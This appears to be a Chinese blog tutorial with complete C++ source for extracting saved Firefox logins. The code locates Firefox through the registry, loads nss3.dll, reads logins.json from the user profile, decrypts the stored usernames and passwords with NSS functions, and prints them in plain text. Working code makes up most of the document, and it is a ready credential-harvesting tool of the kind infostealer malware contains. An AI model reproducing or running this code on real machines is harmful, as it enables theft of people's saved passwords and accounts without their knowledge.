Firefox登录信息获取

实现步骤

  1. 找到Firefox的安装目录
  2. 加载nss3.dll链接文件
  3. 导入登录信息文件Logins.json
  4. 信息解密及转码
  5. 集成测试及结果

找到Firefox的安装目录

​ Firefox的安装信息在注册表中有很详细的记录,所以我们可以通过注册表获取Firefox的安装目录,具体实现如下:

​ 所属文件名:getFileInfo.h

​ 所需头文件:

1
2
3
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//宏定义返回值以及特定参数
constexpr auto READ_FAIL = "read fail";//打开注册表失败
constexpr auto GET_FAIL = "get fail";//读取注册表失败或读取信息失败
constexpr auto MY_BUFSIZE = 256;//路径缓存空间大小

//获取Firefox的当前版本,输入为注册表中Mozilla Firefox的路径,返回值为失败信息或版本信息
string getCurrentVersion(string path) {
TCHAR currentVersion[MY_BUFSIZE];
HKEY hKey;
DWORD dwBuflen = MY_BUFSIZE;
LONG lRet;
memset(currentVersion, 0, (sizeof(currentVersion)));


lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
TEXT(path.c_str()),
0,
KEY_QUERY_VALUE | KEY_WOW64_64KEY,
&hKey);
if (lRet != ERROR_SUCCESS)return READ_FAIL;


lRet = RegQueryValueEx(hKey,
TEXT("CurrentVersion"),
NULL,
NULL,
(LPBYTE)currentVersion,
&dwBuflen);
if (lRet != ERROR_SUCCESS)return GET_FAIL;


RegCloseKey(hKey);
return currentVersion;
}

//获取Firefox的安装路径,返回值为获取失败的标记或安装路径
string getPath() {

TCHAR installPath[MY_BUFSIZE];
HKEY hKey;
memset(installPath, 0, sizeof(installPath));
DWORD dwBuflen = MY_BUFSIZE;
LONG lRet;
string tempPath = "SOFTWARE\\Mozilla\\Mozilla Firefox";

tempPath = tempPath + "\\" + getCurrentVersion(tempPath) + "\\Main";

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
TEXT(tempPath.c_str()),
0,
KEY_QUERY_VALUE | KEY_WOW64_64KEY,
&hKey);
if (lRet != ERROR_SUCCESS)return READ_FAIL;


lRet = RegQueryValueEx(hKey,
TEXT("Install Directory"),
NULL,
NULL,
(LPBYTE)installPath,
&dwBuflen);
if (lRet != ERROR_SUCCESS)return GET_FAIL;


RegCloseKey(hKey);
return installPath;
}

​ 通过读取注册表计算机\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Mozilla\\Mozilla Firefox\\67.0.4 (x64 zh-CN)\\Main路径下Install Directory表项的信息即可获得Firefox的安装目录信息:

InstallInfo

​ 具体解释见:通过注册表获取程序安装目录

加载nss3.dll链接文件

加载dll文件

nss3.dll存储在Firefox的安装目录下,通过LoadLibrary()函数可以将其加载进内存中,在调用LoadLibrary()函数前,需调用SetCurrentDirectory()函数将当前目录设置为Firefox的安装目录。其实现如下:

​ 所属文件名:getDll.h

​ 所需头文件:#include "getFileInfo.h"

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//宏定义返回值
constexpr auto LOAD_FAIL = "load fail";//加载dll文件或函数失败
constexpr auto LOAD_SUCCESS = "load success";//加载dll文件或函数成功


//用于获取dll文件,并加载dll,其返回值为报错信息
string loadDll() {
const char nssLibName[] = "nss3.dll";

string&& temp = getPath();//通过getPath()函数获取安装路径
if (temp == GET_FAIL)return LOAD_FAIL;

SetCurrentDirectory(temp.c_str());

nssLib = LoadLibrary(nssLibName);

if (nssLib == NULL) {
return LOAD_FAIL;
}

return LOAD_SUCCESS;
}

加载内部函数

​ 我们需要使用nss3.dll文件中的函数进行解密,所以需要获取相应函数的地址,具体实现如下:

  1. 定义结构及函数类型

    所属文件名:getDll.h

    所需头文件:#include "getFileInfo.h"

    内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//声明枚举类型及其内容	
typedef enum {
siBuffer = 0,
siClearDataBuffer = 1,
siCipherDataBuffer = 2,
siDERCertBuffer = 3,
siEncodedCertBuffer = 4,
siDERNameBuffer = 5,
siEncodedNameBuffer = 6,
siAsciiNameString = 7,
siAsciiString = 8,
siDEROID = 9,
siUnsignedInteger = 10,
siUTCTime = 11,
siGeneralizedTime = 12,
siVisibleString = 13,
siUTF8String = 14,
siBMPString = 15
} SECItemType;

//声明结构体及其别名
typedef struct SECItemStr SECItem;
//定义结构体内容
struct SECItemStr {
SECItemType type;
unsigned char* data;
size_t len;
};

//声明枚举及定义
typedef enum _SECStatus {
SECWouldBlock = -2,
SECFailure = -1,
SECSuccess = 0
} SECStatus;

//数据类型别名
typedef unsigned int PRUint32;//For PL_Base64Decode
typedef void PK11SlotInfo; // For PK11_Authenticate
typedef int PRBool; // For PK11_Authenticate


//声明动态函数
typedef SECStatus(*fpNSS_Init)(const char* configdir);
typedef char* (*fpPL_Base64Decode)(const char* src, PRUint32 srclen, char* dest);
typedef SECStatus(*fpPK11SDR_Decrypt)(SECItem* data, SECItem* result, void* cx);
typedef SECStatus(*fpPK11_Authenticate)(PK11SlotInfo* slot, PRBool loadCerts, void* wincx);
typedef PK11SlotInfo* (*fpPK11_GetInternalKeySlot)();
typedef void (*fpPK11_FreeSlot)(PK11SlotInfo* slot);
typedef SECStatus(*fpNSS_Shutdown)();

//声明全局函数
fpNSS_Init NSS_Init;
fpPL_Base64Decode PL_Base64Decode;
fpPK11SDR_Decrypt PK11SDR_Decrypt;
fpPK11_Authenticate PK11_Authenticate;
fpPK11_GetInternalKeySlot PK11_GetInternalKeySlot;
fpPK11_FreeSlot PK11_FreeSlot;
fpNSS_Shutdown NSS_Shutdown;

//存储dll文件的句柄
HMODULE nssLib;
  1. 函数实现

    所属文件名:getDll.h

    所需头文件:#include "getFileInfo.h"

    内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//用于加载dll文件中的函数,其返回值为报错信息
string loadFunc() {
if (loadDll() == LOAD_FAIL) return LOAD_FAIL;

NSS_Init = (fpNSS_Init)GetProcAddress(nssLib, "NSS_Init");
PL_Base64Decode = (fpPL_Base64Decode)GetProcAddress(nssLib, "PL_Base64Decode");
PK11SDR_Decrypt = (fpPK11SDR_Decrypt)GetProcAddress(nssLib, "PK11SDR_Decrypt");
PK11_Authenticate = (fpPK11_Authenticate)GetProcAddress(nssLib, "PK11_Authenticate");
PK11_GetInternalKeySlot = (fpPK11_GetInternalKeySlot)GetProcAddress(nssLib, "PK11_GetInternalKeySlot");
PK11_FreeSlot = (fpPK11_FreeSlot)GetProcAddress(nssLib, "PK11_FreeSlot");
NSS_Shutdown = (fpNSS_Shutdown)GetProcAddress(nssLib, "NSS_Shutdown");

//正确退出
if (NSS_Init != NULL && PL_Base64Decode != NULL && PK11SDR_Decrypt != NULL && PK11_Authenticate != NULL && PK11_GetInternalKeySlot != NULL && PK11_FreeSlot != NULL && NSS_Shutdown != NULL) {
return LOAD_SUCCESS;
}
//错误退出
return LOAD_FAIL;
}

​ 具体开发文档见:MDN

导入登录信息

​ 文件打开使用CreateFile()函数,其句法如下:

1
2
3
4
5
6
7
8
9
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);

lpFileName 为要创建或打开的文件或设备的名称。dwDesiredAccess 为请求权限,包括读GENERIC_READ、写GENERIC_WRITE、读写GENERIC_READ | GENERIC_WRITEdwShareMode为文件的共享模式。lpSecurityAttributes为指向SECURITY_ATTRIBUTES结构的指针。dwCreationDisposition限定对存在或不存在的文件或设备执行的操作。dwFlagsAndAttributes为文件或设备属性和标志。hTemplateFile为具有GENERIC_READ访问权限的模板文件的有效句柄。其返回值为指定文件、设备、命名管道或邮件槽的打开句柄。函数的具体信息见MicrosoftDocs

​ 具体实现:

​ 所属文件名:getFileInfo.h

​ 所需头文件:

1
2
3
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//获取logins.json的文件路径,其中存储加密后的账号、密码信息,返回值为路径信息或报错信息
string findLoginInfo() {
WIN32_FIND_DATA fd;

char* appDataPath = (char*)malloc(sizeof(char) * MAX_PATH);
string profileName = "";
string sAppDataPath;
string profilePath;

if (appDataPath != NULL) {
if (SHGetFolderPathA(NULL, CSIDL_APPDATA, 0, NULL, appDataPath) != S_OK)return FIND_FAIL;
sAppDataPath = appDataPath;
sAppDataPath += "\\Mozilla\\Firefox\\Profiles\\";
}
else return FIND_FAIL;


HANDLE hFind = FindFirstFile((sAppDataPath + "\\*").c_str(), &fd);
do {
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
string temp = fd.cFileName;
size_t len = temp.size();
if (temp.find("release") < len) {
profileName = temp;
}
}
} while (FindNextFile(hFind, &fd) != 0);
profilePath = sAppDataPath + profileName;

return profilePath;
}

//获取logins.json里的内容,返回值为文件信息或报错信息
string getLoginInfo(string profilePath) {
DWORD szBuffer = 64536, szWrotedBytes;
char* buffer = (char*)malloc(szBuffer);
HANDLE fLoginFile = CreateFileA(profilePath.c_str(), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (fLoginFile != INVALID_HANDLE_VALUE && buffer != NULL) {
if (ReadFile(fLoginFile, buffer, szBuffer, &szWrotedBytes, NULL) == false)return GET_FAIL;
}
else {
return GET_FAIL;
}

return buffer;
}
//getLoginInfo函数的重载
string getLoginInfo() {
string profilePath = findLoginInfo();
if (profilePath == FIND_FAIL)return GET_FAIL;
profilePath += "\\logins.json";

return getLoginInfo(profilePath);
}

信息解密及转码

​ 调用nss3.dll文件中的函数对登录信息进行解密,同时调用转码函数U2G对解密后的信息转码以确保正确输出中文。

解密函数:

​ 所属文件名:Decrypt.h

​ 所需头文件:

1
2
3
4
#include "getDll.h"
#include "formatChange.h"
#include <regex>
#include <stack>

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
//定义用户信息的数据结构
struct UserInfo {
char* Host;
char* Username;
char* Password;
};

//声明用户信息存储的静态堆栈
static stack<UserInfo> UserStack;

//宏定义返回值
constexpr auto DECRYPT_FAIL = "decrypt fail";//解密失败
constexpr auto DECRYPT_SUCCESS = "decrypt success";//解密成功

//用于查询加密字符串中特定字符的个数,返回值为字符个数
/*
Firefox对密码进行了两次加密,内部函数加密和base64加密,
并且在加密后的字符串添加0-3个‘=’,此函数用于统计加入
的‘=’的数目。
*/
size_t char_count(const char* str, size_t size, const char ch) {
size_t count = 0;
for (size_t i = size - 1; i > size - 4; i--) {
if (str[i] == ch)count++;
else break;
}
return count;
}

//用于将输入的加密信息解密
unsigned char* decrypt(string encryptStr) {
size_t szDecoded = encryptStr.size() / 4 * 3 - char_count(encryptStr.c_str(), encryptStr.size(), '=');//存储其原本的base64加密前的字符串长度
char* chDecoded = (char*)malloc(szDecoded + 1);

if (chDecoded != NULL) memset(chDecoded, NULL, szDecoded + 1);
else return (unsigned char*)DECRYPT_FAIL;

SECItem encrypted, decrypted;

encrypted.data = (unsigned char*)malloc(szDecoded + 1);
encrypted.len = szDecoded;
if (encrypted.data != NULL)memset(encrypted.data, NULL, szDecoded + 1);
else return (unsigned char*)DECRYPT_FAIL;

decrypted.len = szDecoded;

if (PL_Base64Decode(encryptStr.c_str(), encryptStr.size(), chDecoded)) {

memcpy(encrypted.data, chDecoded, szDecoded);
PK11SlotInfo* objSlot = PK11_GetInternalKeySlot();
if (objSlot) {
if (PK11_Authenticate(objSlot, TRUE, NULL) == SECSuccess) {
SECStatus s = PK11SDR_Decrypt(&encrypted, &decrypted, nullptr);

}
else return (unsigned char*)DECRYPT_FAIL;

}
else return (unsigned char*)DECRYPT_FAIL;

PK11_FreeSlot(objSlot);
}

//正确退出
unsigned char* temp = (unsigned char*)malloc(decrypted.len + (INT64)1);
if (temp != nullptr) {
temp[decrypted.len] = NULL;
memcpy(temp, decrypted.data, decrypted.len);
return temp;
}
//错误退出
return (unsigned char*)DECRYPT_FAIL;
}

//调用解密函数,输出解密后的结果
string loginInfoDecrypt() {
if (loadFunc() == LOAD_FAIL) return DECRYPT_FAIL;

string profilePath = findLoginInfo();
if (profilePath == FIND_FAIL) return DECRYPT_FAIL;

SECStatus s = NSS_Init(profilePath.c_str());
if (s != SECSuccess) return DECRYPT_FAIL;

//获取加密信息,以及定义筛选信息的正则表达式
string loginStr = getLoginInfo(profilePath + "\\logins.json");
regex re("\"hostname\":\"([^\"]+)\"");
regex reUsername("\"encryptedUsername\":\"([^\"]+)\"");
regex rePassword("\"encryptedPassword\":\"([^\"]+)\"");
smatch match;
string::const_iterator searchStart(loginStr.cbegin());
UserInfo userInfoTemp;
while (std::regex_search(searchStart, loginStr.cend(), match, re)) {
userInfoTemp.Host = U2G(match.str(1).c_str());

std::regex_search(searchStart, loginStr.cend(), match, reUsername);
userInfoTemp.Username = U2G((const char*)decrypt(match.str(1)));

std::regex_search(searchStart, loginStr.cend(), match, rePassword);
userInfoTemp.Password = U2G((const char*)decrypt(match.str(1)));
searchStart += match.position() + match.length();

UserStack.push(userInfoTemp);
}

NSS_Shutdown();
return DECRYPT_SUCCESS;
}

转码函数:

​ 所属文件名:formatChange.h

​ 所需头文件:

1
2
#include <iostream>
#include <Windows.h>

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
char* U2G(const char* utf8)
{
int len = MultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0);
wchar_t* wstr = new wchar_t[len + (INT64)1];
memset(wstr, 0, len + (INT64)1);
MultiByteToWideChar(CP_UTF8, 0, utf8, -1, wstr, len);
len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL);
char* str = new char[len + (INT64)1];
memset(str, 0, len + (INT64)1);
WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL);
if (wstr) delete[] wstr;
return str;
}

集成测试及结果

​ 所属文件名:test.cpp

​ 所需头文件:#include "Decrypt.h"

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int main()
{
if (loginInfoDecrypt() == DECRYPT_FAIL) {
cout << DECRYPT_FAIL << endl;
return 0;
}

for (; UserStack.size() > 0;) {
cout << "Host:\t\t" << UserStack.top().Host << endl;
cout << "Username:\t" << UserStack.top().Username << endl;
cout << "Password:\t" << UserStack.top().Password << endl;
cout << "================================================" << endl;
UserStack.pop();
}

return 0;
}

​ 运行结果:

result

0%